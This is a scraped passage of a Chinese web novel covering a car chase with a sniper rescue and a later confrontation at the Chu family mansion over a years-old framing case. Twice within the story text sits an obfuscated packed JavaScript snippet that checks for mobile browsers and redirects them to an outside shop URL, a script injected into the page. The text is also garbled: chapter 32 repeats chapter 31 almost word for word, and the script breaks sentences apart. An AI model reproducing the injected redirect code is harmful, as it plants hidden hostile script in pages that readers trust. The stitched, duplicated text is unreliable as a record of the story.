“能认出我就更好了,省得彼此多费口舌。”楚江澈又重复了一遍,“上车。” 明明是第一次见,可闻序心里嗖地窜起一股火,他想大声质问楚江澈怎么会知道自己今晚会来这儿,又是为什么会预判到需要出手营救自己,可这个念头刚一冒出,忽然又听到咔哒一下,闻序面前的车门从内推开了。 一晚的精神高度紧绷让闻序想也不想刷地回过头,警惕地看向车内。 而后青年霎时从头到脚僵住了。 后排座位上坐着另一个身影,与楚江澈不同,这人看上去更加纤细、苍白,却也更加熟悉。对方仍梳着熟悉的半扎簪发,却穿着黑色夜行服,修身的布料从纤长的颈部开始包裹住青年的整个身体,勾勒出平直的肩线、劲瘦的腰肢和纤长四肢,最后向下收拢在黑色短靴中。 那人黑曜石般的眸子凝视着闻序颤抖的瞳孔,俊美的一张脸冷若冰霜,薄唇轻启,声线散发着凛冽的寒意。 “闻序,最后说一次,上车。” 瞿清许深望着瞠目结舌的青年,漠然命令道。 30.第 30 章 “方鉴云?!” 被唤了名字的青年眉头微蹙,偏了偏头,闻序一个激灵,忙扒住车门框跳上车,刚关上车门,车后的道路尽头就紧追不放地接连响起刺耳的鸣笛声! “坐稳,要开车了!” 前排的楚江澈一脚油门下去,车内顿时响起发动机的低吼,闻序一手撑住座椅靠背,侧过身子,目不转睛地盯着眼前人: “你是怎么知道的——你看到短信了?” 嗡鸣声太响,摇晃颠簸中他不得不扯着嗓子同对方讲话。瞿清许的脸色比以往任何时候都要阴沉,仿佛淬过冰,一开口连声音都寒浸浸的: “我们事先怎么说的?你这么抛下搭档单枪匹马地过来,万一今天我和楚江澈没有赶到……” “腰伤还没好,跑来这么危险的地方做什么,”闻序打断他,“就算甩开他们,万一你的伤又发作了该怎么办!” 瞿清许倏地一愣。 吉普车飞速驶出偏僻的老城区支路,两束车灯如利剑刺破黑暗,在车身后几十米的地方,宛如洋流交汇般,两三辆黑色轿车从分岔路口汇合,共同向着吉普车的方向追赶逼近。 一阵颠簸,吉普车几乎凌空一跃,瞿清许抓着扶手的手用力攥紧,本就染了些病色的脸瞬间近乎惨白。闻序探身握住他另外一只手臂,瞬也不瞬地盯着瞿清许的脸。 “伤还没好,能不能撑住?” 闻序急切地问。 瞿清许眼底翻涌起澎湃的浪潮,嘴唇不由得一颤: “我——” 后视镜里闪过森森的黑影,驾驶位上传来楚江澈的一声低喝: “快卧倒!” 乓的一声,吉普车的后挡风玻璃顿时四分五裂,碎片哗啦一下爆溅开来! “小心!” 闻序一把将人拉过,两个人猛地倒在后排座椅上,瞿清许冷不防跌进青年怀里,额头险些撞上闻序的下巴。他疼得浑身一震,强忍着没叫出声来,伏在闻序身上颤抖地喘着气,却见身下人一把环住瞿清许的后腰,急吼吼地在他背上摩挲几下,替他将碎玻璃碴子拍掉。 “有没有受伤?”他听到闻序低头着急地在耳畔问,“腰还能动吗?” 瞿清许咬了咬唇,摇摇头。闻序于是把他护在怀里,转过头扬声问: “距离市中心还有多远,后面跟着多少人?” 前排的楚江澈抓紧方向盘,脸上少见地闪过一丝躁动不安的神色。 “三辆车,人数没法判断。”他飞快说完,轰的踏下油门,忽的短暂侧过头,向着倒灌进寒风的车后排望了一眼,厉声喊道,“方鉴云!现在必须靠你了,挺不挺得住?” 闻序蓦然愣了,声音跟着弱下来,带着几分不可思议的迟疑: “靠他?你在说什么?” 瞿清许紧紧闭了闭眼,把手伸到二人躺着的车座底下,用力一拽却没有拖动,闻序听见对方吃力的喘息,虽不懂他要做什么,但还是帮着反手伸到下面掏了掏:“我帮你……” 他的指尖碰到某种冰冷而坚硬的金属物体,指节一勾,恰好勾住一个严丝合缝的回形装置。闻序来不及多想,把那沉得不得了的铁疙瘩拖出来,转头斜向下望去,登时惊呆了。 是一把半人多高的联邦新式狙击步枪。 吉普车后方,追逐的车辆已然变换阵型,成三角形向前逐渐提速迫近,侧后方一辆黑车的天窗打开,有人从上方探出小半个身子,毫不犹豫地砰砰两枪! 吉普车向侧方小幅一避,可高速行驶下的车辆即便是再微小的方向调整都是致命的,车内的另外两人身子一倾,险些齐刷刷从座位上滚下来。 “我能压迫住靠左车道的那一辆,可只有这一会儿,”楚江澈透过后视镜看了眼破了个大洞的挡风玻璃,语气紧绷,“他们再追上来一些,就会打爆车胎。” 瞿清许终于一咬牙,撑着靠背坐起身来: “闻序,过来帮忙!” 闻序终于明白过来,从地上捞起那把狙击步枪扔给瞿清许,而后也跟着低着身子翻坐起来: “你怎么会用狙击枪——这枪怎么这么沉?!” 瞿清许接过枪,利落地咔嚓两下上膛,拆开支架,闻言声线一沉: “先别说这个了,过来!” 他拍了下狭窄的座椅,示意闻序坐过来,后者一时懵了,往他身旁挪了几寸:“你要干什么?” 问完这话,瞿清许一把将枪隔搁在座位上架好,终于侧过头,深望了闻序一眼。 “接下来你要做的就是扶好我,没我的命令不准动,听明白没有?” 不等闻序答应,瞿清许轻轻屏息,一个翻身,面向闻序,跨坐在他身上! 闻序浑身一震,条件反射地抬起双手从两侧握住伏在自己身上的青年紧窄的腰:“方鉴云——” 瞿清许一手托住枪身,另一手勾住扳机,微微侧过头,漆黑的眼睛紧盯着瞄准镜,紧抿的嘴唇几乎动也没动地蹦出两个字: “别动。” 闻序握着他的手狠狠颤了一下。 车内狂风缭乱,闻序看着两腿分开跪坐在自己身上的青年,对方劲瘦的身体几乎紧贴着闻序的,由咬紧的下颌、绷成直角的肩线,到挺直的清瘦脊背向下直至后腰,勾勒出一段硬折凌厉的线条。青年半长的黑发在逆流的风中上下翻飞,漆黑的眸不错地盯紧瞄准镜,眼里的光锐利如寒芒。 明明正处在生死时速,闻序却仰头看着近在咫尺的那张苍白如瓷玉的脸,什么都不知道了。 破洞的挡风玻璃外,刚刚那辆车内的人又试着探出头来,楚江澈这次不再没有准备,率先猛打方向盘,车子轮胎顿时发出尖锐的啸叫,向另一面已经追赶上来的黑车压去! 他大喊:“就是现在!” 电光火石间,只见瞿清许眼神一凛,细长的指节勾住扳机一按! 砰! 子弹穿过挡风玻璃的破洞凌空射出,那辆黑车顿时失去了控制,打着滑旋转飞了出去,撞向中间的另一辆,一声巨响,两车纷纷掀翻在道旁,乒乒乓乓滚落下去! “唔……!” 巨大的后坐力将瞿清许整个人震得向后一倒,闻序忙抓紧他的腰将人按回怀中。须臾功夫,刚还全身绷得如满弓般的青年已然抖成一团,几乎瘫软在闻序身上,汗如雨下。 闻序匆忙扳过瞿清许的肩膀:“没事吧?!” 怀里的人软成了一滩冰化成的水,没等说话,前排楚江澈又命令道: “剩下这辆车里恐怕也有武器!方鉴云,尽快!” 瞿清许的身体像是接收到某种不容抗拒的指令,指尖虚弱地抽搐一下,抓住闻序的胳膊,战栗地想要爬起来,闻序忙要把他圈回怀中: “这枪怎么后坐力这么大?!你不要再——” 瞿清许猛地侧目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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瞿清许的眸光如参风中摇曳的残烛,忽明忽暗,最终归于寂灭。他单薄的身子力道一泄,再也支撑不住,昏死在青年拥紧的怀抱中。 吉普车在道路上疾驰着扬长而去,奔向已然看得见灯塔般闪烁着光亮的市中心。 * 十分钟后。 楚公馆外,残破的吉普车喷着黑烟停在院内,有仆人满脸惊魂未定地拉开驾驶位的车门。 楚江澈从车上跳下来,头也不回地一抬手示意等候的人退开,走到后排车门外,拉开车门: “方鉴云不会有事,他应该只是最近劳累过度加上精神太过紧张,我现在带他上楼,打点阵痛——” 拉到一半的车门陡然卡在一半的角度,楚江澈又拉了拉,车门却仍纹丝未动。 他这才察觉到不对,抬眼向车门内看去。 瞿清许已然陷入昏迷许久,面白如纸,长发凌乱,双目紧闭着,不时在昏睡中痉挛一下,隐忍地皱眉,又无意识地闷哼两声。 而就是这样消瘦又脆弱不堪的omega,此刻正被同样坐在后排的人搂着靠住肩膀,让omega能够以一个相对舒服的姿势窝在他怀中。alpha紧实的臂膀单手就足以环抱住他不堪一握的腰身,大手护住omega微弱起伏着的平坦小腹,另一只手攥紧了扶手。 闻序不紧不慢抬眼,拽紧了车门的同时环视一圈楚公馆,然后一掀眼皮,看着车外站着的alpha,眼底的情绪如暴风雨前的深海,暗流汹涌。 一霎之间,浓郁到刺鼻的信息素排山倒海而来。 “少来安排方鉴云的事。” 他阴恻恻地看着楚江澈,脸上的肌肉微微抽动,转而冷笑。 “我才是他的搭档,”他说,“我在这儿,任何人都不许随便动他。” 31.第 31 章 凶悍的alpha信息素如一枚无形的炸弹,令周遭等候的楚公馆仆人纷纷后退几步。 刻在基因里的本能让所有人即使从没见过闻序,却也第一时间得知车内的alpha绝非善类,甚至已经处在激怒发狂的边缘。 唯独本该对同类信息素异常排斥的楚江澈却无动于衷,淡淡地看了满脸反感地瞪着自己的闻序一会儿,面无表情地松开手。 “这里是我家,楚公馆,”楚江澈说,“不是谁设的陷阱。事实上,在今晚之前,你的搭档方鉴云已经来过这儿很多次了。” 闻序的眉皱得更深,狐疑地看着他。 “一周前在医院开枪的人,是不是方鉴云?” 他问。被质疑的当事人此刻正在他怀中毫无意识地昏睡着,或许是嗅到了太过刺激的信息素,鼻子皱了皱,小声轻哼。 闻序抿了抿唇,没有看方鉴云,信息素却悄然收敛了。 楚江澈一脸波澜不惊,对着昏过去的瞿清许挑了挑眉,向闻序示意。 “等他醒了,你亲自问他吧。” 他平静说道。 * 纷乱的思绪幻化为光怪陆离的影,瞿清许感觉自己被一个巨浪卷入海底,水面下奔腾着的却是他过去人生里无数嘈杂的、闪回的画面,冲击着他的感官。 他听见父母双亲笑着唤他的乳名卿卿,听见重山中学校园放学的钟声,听见每年仲夏首都的雨,看见站在市区大厦就能望见的、市郊那座终年积雪的小重山,又看见重山寺红墙下,那个羞涩地欲言又止的英俊少年。 于是他笑着伸出手,想去捏一捏男孩看似紧绷实则柔软的脸肉。 忽然从暗处伸出一只鬼魅般的手,死死攥住他的手腕。瞿清许浑身僵住,惊惧地回过头,明明什么都看不见,可他却感觉到有一双眼睛溶于阴森的暗地里,像看跳梁小丑那般戏谑而轻蔑地看着他,如视蝼蚁。 四周一片虚无,可压迫的气息却缠绕上他的喉咙。 紧接着,瞿清许听见耳畔传来低笑,那鬼煞贴着他的颈侧,轻声问: “看样子,你想拉我一同下地狱,对吗?” 瞿清许猛吸了口气,睁开眼睛。 “方鉴云!你可算醒了……” 卧室内开着夜灯,可瞿清许还是被晃了眼,不适地眯起眼睛。 头疼得厉害,视线都受影响变得模糊,可他还是很快认出来这里是楚公馆。很快,一个倾身而来的人影挡住了大半光源,轻轻握住青年的肩。 瞿清许艰难地眨眨眼睛,看向闻序那张来不及收起担忧的脸。 “你昏迷的时候医生给你打了止痛针,现在感觉怎么样,有感觉吗?” 闻序捏了捏他的肩膀,见瞿清许咬了下嘴唇,忽然想起几天前对方那句肩膀也受过伤的话,这才意识到对方不是在开玩笑,忙撤开手,局促地在裤子上擦了擦掌心的汗。 很快他听见瞿清许哑着嗓子道: “嗯,已经不怎么痛了。” 闻序手足无措地答了句那就好,松了口气,在床边一把藤椅上坐下来。椅子不大,青年又高又壮,两条长腿憋屈地窝着,往那一坐,看上去更加像个吃苦耐劳的老妈子。 闻序本人倒无所察觉,缓过神来,看着瞿清许艰难地撑坐起身,鼻腔里隐忍地叹出口气,伸手扶着他坐好,一边又道: “楚江澈刚刚出去了,马上回来。” 瞿清许刚靠上软装的床头坐好,闻言一愣。 闻序也坐回去,二人对视的一刻,青年的目光忽然变得有些许不清不楚的晦暗。 “当初在医院开枪的人,是不是你。” 几乎是个肯定句,可闻序的语气却出乎他意料的平淡。 瞿清许移开视线,一手放回身后,习惯性地扶住腰揉捏。 闻序耐心地等着他开口。半晌,瞿清许阖了阖眼。 “是我。”他终于说,“要押送我去警署吗,闻检查?” 闻序呼吸一顿:“你知道我不是这个意思。搭档之间要毫无保留,这话对你我都生效,我只是认为自己有权利知道真相。” 门就在这时被推开,楚江澈走进房间,看到已经坐起来的瞿清许,并不惊讶,十分从容地颔首。闻序一下子被他这与瞿清许几乎熟到不能再熟的做派惹恼了,挑起一侧眉毛,呵笑一声。 “就从他先开始。”闻序看着瞿清许,向进屋的那人扬了扬下巴,“方鉴云,你和楚家到底唱的是哪一出戏?” 瞿清许刚醒过来,本就虚弱,听了这话顿时感觉头疼得更厉害。他不知道怎么每次一谈论到楚江澈,闻序都被踩了尾巴的猫似的: “什么哪一出戏,今天是我们两个冒着生命危险过来救你,你搞清楚点行不行?” 闻序表情一僵:“那又怎么了?我问的是——你们两个,到底是什么关系,你对谭峥的案子这么上心,是不是为了他!” 说出口的刹那,一股心里的憋屈都倾诉出来的通畅感油然而生。闻序说完,找回点状态来,理直气壮地挺直了背,目不转睛地盯着瞿清许的脸。 瞿清许揉腰的动作顿了顿,深望了眼不作声的楚江澈。 “是,”他说,“我接触谭峥的指控案,就是为了给当年蒙冤的楚家平反,给六年前草草下结的‘五·三一’翻案。” 闻序气息一滞,嗖地起身: “你居然真的——” 瞿清许仰头看着站起来的青年,漆黑的眼底一片平静。闻序看着那张难掩病容的脸,一时失语,转头望向楚江澈。 屋里三人一时谁也没说话。闻序深呼出口气,逼迫自己忽视心头一霎间升起的那些恼怒的、扭曲的杂音。 他深邃的双眸紧盯着楚江澈的眼:“人人都说,六年前是你父母眼见反对控枪案无望,这才动用手头的关系,利用首都最大的地下帮派扫除异己,进而酿成了五·三一的惨剧。楚家已是人尽皆知的幕后主谋,你想扭转局势,有什么证据,什么把握?” 楚江澈的眼中终于有所波动般,划过浮光掠影。 “正是因为缺乏证据,我才需要方鉴云从谭峥身上寻找突破口。”楚江澈道,“我父母是被冤枉的。控枪案的背后是一场巨大的政治博弈,楚家不过是斗争的牺牲品,当初谭峥认为楚家没有复起的可能,所以才做了假证,我父母从来没有联络过什么□□或者地下帮派。” 闻序:“这只是你的一面之词。就算你说的是真的,我问你,这些和方鉴云有何关系?他怎么就非要帮你到这个份儿上?” 楚江澈瞥了床上的人一眼,闻序立刻哎了一声:“少偷偷对暗号!动不动看他干什么!” 这下连瞿清许都无奈了,在闻序看不到的角度对楚江澈耸了耸肩,一脸“他跟我也这么一惊一乍的,忍忍吧”的表情,同病相怜之色溢于言表。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691214|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……”楚江澈头脑飞速运转,“方家是做军火生意的,我父亲是军人,两家多年前就有交集,虽然对我父亲而言不过举手之劳,但方家向来是滴水之恩涌泉相报……” “——既然要报恩,怎么联姻的不是你们两家?” 此话一出,不止楚江澈和瞿清许,连闻序自己说完都愣了。 他刚刚是抽风了么,怎么连如此八竿子打不着的屁话都这样随便问? 楚江澈很快回过神来: “闻检察,据我所知,当年与方家缔下婚约的可是——” 磅的一声,紧闭着的门扉外传来一声仓促的闷响,闻序吓了一跳,侧目而视:“谁在外面?” 他说着就要去推开门,楚江澈忽然一步跨上来挡在闻序面前,将门把手挡了个严严实实。 “是我家的佣人。”楚江澈道。 见楚江澈的反应,瞿清许一下也明白过来刚刚门外“偷听”的人是谁。他懂楚江澈的顾虑,以闻序这种耿直的性格,能看在搭档和救命恩人的份儿上对自己睁一只眼闭一只眼,可这并不代表他也会对医院监控里那个开车带任晓萱走的人高抬贵手。 闻序仍然心存疑虑:“刚刚明明是你我说了什么,门外的人听得出神,不小心弄出了动静来。我得确认一下——” 他往前半步,楚江澈也毫不退让地往前挡了挡,面色沉郁下来。 “这里都是我的人。”楚江澈一字一顿,“闻检察不必多虑,有什么问题冲我一个人来就好。” 闻序看向周身气压反常地低沉的青年,目光也毫不示弱地逐渐冷冽起来。屋内的气氛眼看着走向剑拔弩张,瞿清许忙清清嗓子: “闻序,算了。” 青年气息一顿,有点不服气地和楚江澈对视片刻,冷哼着抬了抬眉。 “看在我搭档的份儿上,刚外面鬼鬼祟祟的人我就不管了。” 闻序审视地看着他,“你这人虽然看着不顺眼,不过有句话说的倒不假,那姓谭的的确有作伪证的嫌疑,谁授意的还不知道,但直接指使他的大概率就是武装部的陈泳。至于你其他的话,在我查到水落石出之前,都得先打个问号。” 楚江澈神色反而略微放松下来,不置可否,挪开眼。 “无所谓,总有一日你会为五·三一翻案的。” 他不再看闻序,面向瞿清许:“今晚外面想必很乱,你先在这儿待上一夜。行动不便的话,床头有电话,我会派人——” “用不着。” 瞿清许瞳孔里闪过一丝讶异,望向打断了同伴话头的青年。 “他腰伤不是一般的重,你家里这些佣人保姆容易伤着他,”闻序生硬地说道,“我比较有经验,今晚还是我在这,就在他屋里打个地铺。” 楚江澈意味深长地看了瞿清许一眼,随后重新注视闻序。 “你随意。” 他回身握住门把手准备开门离去,又仿佛想起什么,停下来侧过头。 “闻检察。” 青年并没有直接看向闻序,微垂着眼睛,目光却隐约有所放空,连带着那棱角分明的面孔都多了些苦涩的温存。 “我知道现在你对我还心存芥蒂。五·三一的往事说来话长,如果你感兴趣,不妨明天来一趟重山区,我母亲的私立医院,你的疑问都会在那儿得到解答。” 说完,楚江澈压下把手开门,头也不回地离开了卧室。 32.第 32 章 凶悍的alpha信息素如一枚无形的炸弹,令周遭等候的楚公馆仆人纷纷后退几步。 刻在基因里的本能让所有人即使从没见过闻序,却也第一时间得知车内的alpha绝非善类,甚至已经处在激怒发狂的边缘。 唯独本该对同类信息素异常排斥的楚江澈却无动于衷,淡淡地看了满脸反感地瞪着自己的闻序一会儿,面无表情地松开手。 “这里是我家,楚公馆,”楚江澈说,“不是谁设的陷阱。事实上,在今晚之前,你的搭档方鉴云已经来过这儿很多次了。” 闻序的眉皱得更深,狐疑地看着他。 “一周前在医院开枪的人,是不是方鉴云?” 他问。被质疑的当事人此刻正在他怀中毫无意识地昏睡着,或许是嗅到了太过刺激的信息素,鼻子皱了皱,小声轻哼。 闻序抿了抿唇,没有看方鉴云,信息素却悄然收敛了。 楚江澈一脸波澜不惊,对着昏过去的瞿清许挑了挑眉,向闻序示意。 “等他醒了,你亲自问他吧。” 他平静说道。 * 纷乱的思绪幻化为光怪陆离的影,瞿清许感觉自己被一个巨浪卷入海底,水面下奔腾着的却是他过去人生里无数嘈杂的、闪回的画面,冲击着他的感官。 他听见父母双亲笑着唤他的乳名卿卿,听见重山中学校园放学的钟声,听见每年仲夏首都的雨,看见站在市区大厦就能望见的、市郊那座终年积雪的小重山,又看见重山寺红墙下,那个羞涩地欲言又止的英俊少年。 于是他笑着伸出手,想去捏一捏男孩看似紧绷实则柔软的脸肉。 忽然从暗处伸出一只鬼魅般的手,死死攥住他的手腕。瞿清许浑身僵住,惊惧地回过头,明明什么都看不见,可他却感觉到有一双眼睛溶于阴森的暗地里,像看跳梁小丑那般戏谑而轻蔑地看着他,如视蝼蚁。 四周一片虚无,可压迫的气息却缠绕上他的喉咙。 紧接着,瞿清许听见耳畔传来低笑,那鬼煞贴着他的颈侧,轻声问: “看样子,你想拉我一同下地狱,对吗?” 瞿清许猛吸了口气,睁开眼睛。 “方鉴云!你可算醒了……” 卧室内开着夜灯,可瞿清许还是被晃了眼,不适地眯起眼睛。 头疼得厉害,视线都受影响变得模糊,可他还是很快认出来这里是楚公馆。很快,一个倾身而来的人影挡住了大半光源,轻轻握住青年的肩。 瞿清许艰难地眨眨眼睛,看向闻序那张来不及收起担忧的脸。 “你昏迷的时候医生给你打了止痛针,现在感觉怎么样,有感觉吗?” 闻序捏了捏他的肩膀,见瞿清许咬了下嘴唇,忽然想起几天前对方那句肩膀也受过伤的话,这才意识到对方不是在开玩笑,忙撤开手,局促地在裤子上擦了擦掌心的汗。 很快他听见瞿清许哑着嗓子道: “嗯,已经不怎么痛了。” 闻序手足无措地答了句那就好,松了口气,在床边一把藤椅上坐下来。椅子不大,青年又高又壮,两条长腿憋屈地窝着,往那一坐,看上去更加像个吃苦耐劳的老妈子。 闻序本人倒无所察觉,缓过神来,看着瞿清许艰难地撑坐起身,鼻腔里隐忍地叹出口气,伸手扶着他坐好,一边又道: “楚江澈刚刚出去了,马上回来。” 瞿清许刚靠上软装的床头坐好,闻言一愣。 闻序也坐回去,二人对视的一刻,青年的目光忽然变得有些许不清不楚的晦暗。 “当初在医院开枪的人,是不是你。” 几乎是个肯定句,可闻序的语气却出乎他意料的平淡。 瞿清许移开视线,一手放回身后,习惯性地扶住腰揉捏。 闻序耐心地等着他开口。半晌,瞿清许阖了阖眼。 “是我。”他终于说,“要押送我去警署吗,闻检查?” 闻序呼吸一顿:“你知道我不是这个意思。搭档之间要毫无保留,这话对你我都生效,我只是认为自己有权利知道真相。” 门就在这时被推开,楚江澈走进房间,看到已经坐起来的瞿清许,并不惊讶,十分从容地颔首。闻序一下子被他这与瞿清许几乎熟到不能再熟的做派惹恼了,挑起一侧眉毛,呵笑一声。 “就从他先开始。”闻序看着瞿清许,向进屋的那人扬了扬下巴,“方鉴云,你和楚家到底唱的是哪一出戏?” 瞿清许刚醒过来,本就虚弱,听了这话顿时感觉头疼得更厉害。他不知道怎么每次一谈论到楚江澈,闻序都被踩了尾巴的猫似的: “什么哪一出戏,今天是我们两个冒着生命危险过来救你,你搞清楚点行不行?” 闻序表情一僵:“那又怎么了?我问的是——你们两个,到底是什么关系,你对谭峥的案子这么上心,是不是为了他!” 说出口的刹那,一股心里的憋屈都倾诉出来的通畅感油然而生。闻序说完,找回点状态来,理直气壮地挺直了背,目不转睛地盯着瞿清许的脸。 瞿清许揉腰的动作顿了顿,深望了眼不作声的楚江澈。 “是,”他说,“我接触谭峥的指控案,就是为了给当年蒙冤的楚家平反,给六年前草草下结的‘五·三一’翻案。” 闻序气息一滞,嗖地起身: “你居然真的——” 瞿清许仰头看着站起来的青年,漆黑的眼底一片平静。闻序看着那张难掩病容的脸,一时失语,转头望向楚江澈。 屋里三人一时谁也没说话。闻序深呼出口气,逼迫自己忽视心头一霎间升起的那些恼怒的、扭曲的杂音。 他深邃的双眸紧盯着楚江澈的眼:“人人都说,六年前是你父母眼见反对控枪案无望,这才动用手头的关系,利用首都最大的地下帮派扫除异己,进而酿成了五·三一的惨剧。楚家已是人尽皆知的幕后主谋,你想扭转局势,有什么证据,什么把握?” 楚江澈的眼中终于有所波动般,划过浮光掠影。 “正是因为缺乏证据,我才需要方鉴云从谭峥身上寻找突破口。”楚江澈道,“我父母是被冤枉的。控枪案的背后是一场巨大的政治博弈,楚家不过是斗争的牺牲品,当初谭峥认为楚家没有复起的可能,所以才做了假证,我父母从来没有联络过什么□□或者地下帮派。” 闻序:“这只是你的一面之词。就算你说的是真的,我问你,这些和方鉴云有何关系?他怎么就非要帮你到这个份儿上?” 楚江澈瞥了床上的人一眼,闻序立刻哎了一声:“少偷偷对暗号!动不动看他干什么!” 这下连瞿清许都无奈了,在闻序看不到的角度对楚江澈耸了耸肩,一脸“他跟我也这么一惊一乍的,忍忍吧”的表情,同病相怜之色溢于言表。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702378|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……”楚江澈头脑飞速运转,“方家是做军火生意的,我父亲是军人,两家多年前就有交集,虽然对我父亲而言不过举手之劳,但方家向来是滴水之恩涌泉相报……” “——既然要报恩,怎么联姻的不是你们两家?” 此话一出,不止楚江澈和瞿清许,连闻序自己说完都愣了。 他刚刚是抽风了么,怎么连如此八竿子打不着的屁话都这样随便问? 楚江澈很快回过神来: “闻检察,据我所知,当年与方家缔下婚约的可是——” 磅的一声,紧闭着的门扉外传来一声仓促的闷响,闻序吓了一跳,侧目而视:“谁在外面?” 他说着就要去推开门,楚江澈忽然一步跨上来挡在闻序面前,将门把手挡了个严严实实。 “是我家的佣人。”楚江澈道。 见楚江澈的反应,瞿清许一下也明白过来刚刚门外“偷听”的人是谁。他懂楚江澈的顾虑,以闻序这种耿直的性格,能看在搭档和救命恩人的份儿上对自己睁一只眼闭一只眼,可这并不代表他也会对医院监控里那个开车带任晓萱走的人高抬贵手。 闻序仍然心存疑虑:“刚刚明明是你我说了什么,门外的人听得出神,不小心弄出了动静来。我得确认一下——” 他往前半步,楚江澈也毫不退让地往前挡了挡,面色沉郁下来。 “这里都是我的人。”楚江澈一字一顿,“闻检察不必多虑,有什么问题冲我一个人来就好。” 闻序看向周身气压反常地低沉的青年,目光也毫不示弱地逐渐冷冽起来。屋内的气氛眼看着走向剑拔弩张,瞿清许忙清清嗓子: “闻序,算了。” 青年气息一顿,有点不服气地和楚江澈对视片刻,冷哼着抬了抬眉。 “看在我搭档的份儿上,刚外面鬼鬼祟祟的人我就不管了。” 闻序审视地看着他,“你这人虽然看着不顺眼,不过有句话说的倒不假,那姓谭的的确有作伪证的嫌疑,谁授意的还不知道,但直接指使他的大概率就是武装部的陈泳。至于你其他的话,在我查到水落石出之前,都得先打个问号。” 楚江澈神色反而略微放松下来,不置可否,挪开眼。 “无所谓,总有一日你会为五·三一翻案的。” 他不再看闻序,面向瞿清许:“今晚外面想必很乱,你先在这儿待上一夜。行动不便的话,床头有电话,我会派人——” “用不着。” 瞿清许瞳孔里闪过一丝讶异,望向打断了同伴话头的青年。 “他腰伤不是一般的重,你家里这些佣人保姆容易伤着他,”闻序生硬地说道,“我比较有经验,今晚还是我在这,就在他屋里打个地铺。” 楚江澈意味深长地看了瞿清许一眼,随后重新注视闻序。 “你随意。” 他回身握住门把手准备开门离去,又仿佛想起什么,停下来侧过头。 “闻检察。” 青年并没有直接看向闻序,微垂着眼睛,目光却隐约有所放空,连带着那棱角分明的面孔都多了些苦涩的温存。 “我知道现在你对我还心存芥蒂。五·三一的往事说来话长,如果你感兴趣,不妨明天来一趟重山区,我母亲的私立医院,你的疑问都会在那儿得到解答。” 说完,楚江澈压下把手开门,头也不回地离开了卧室。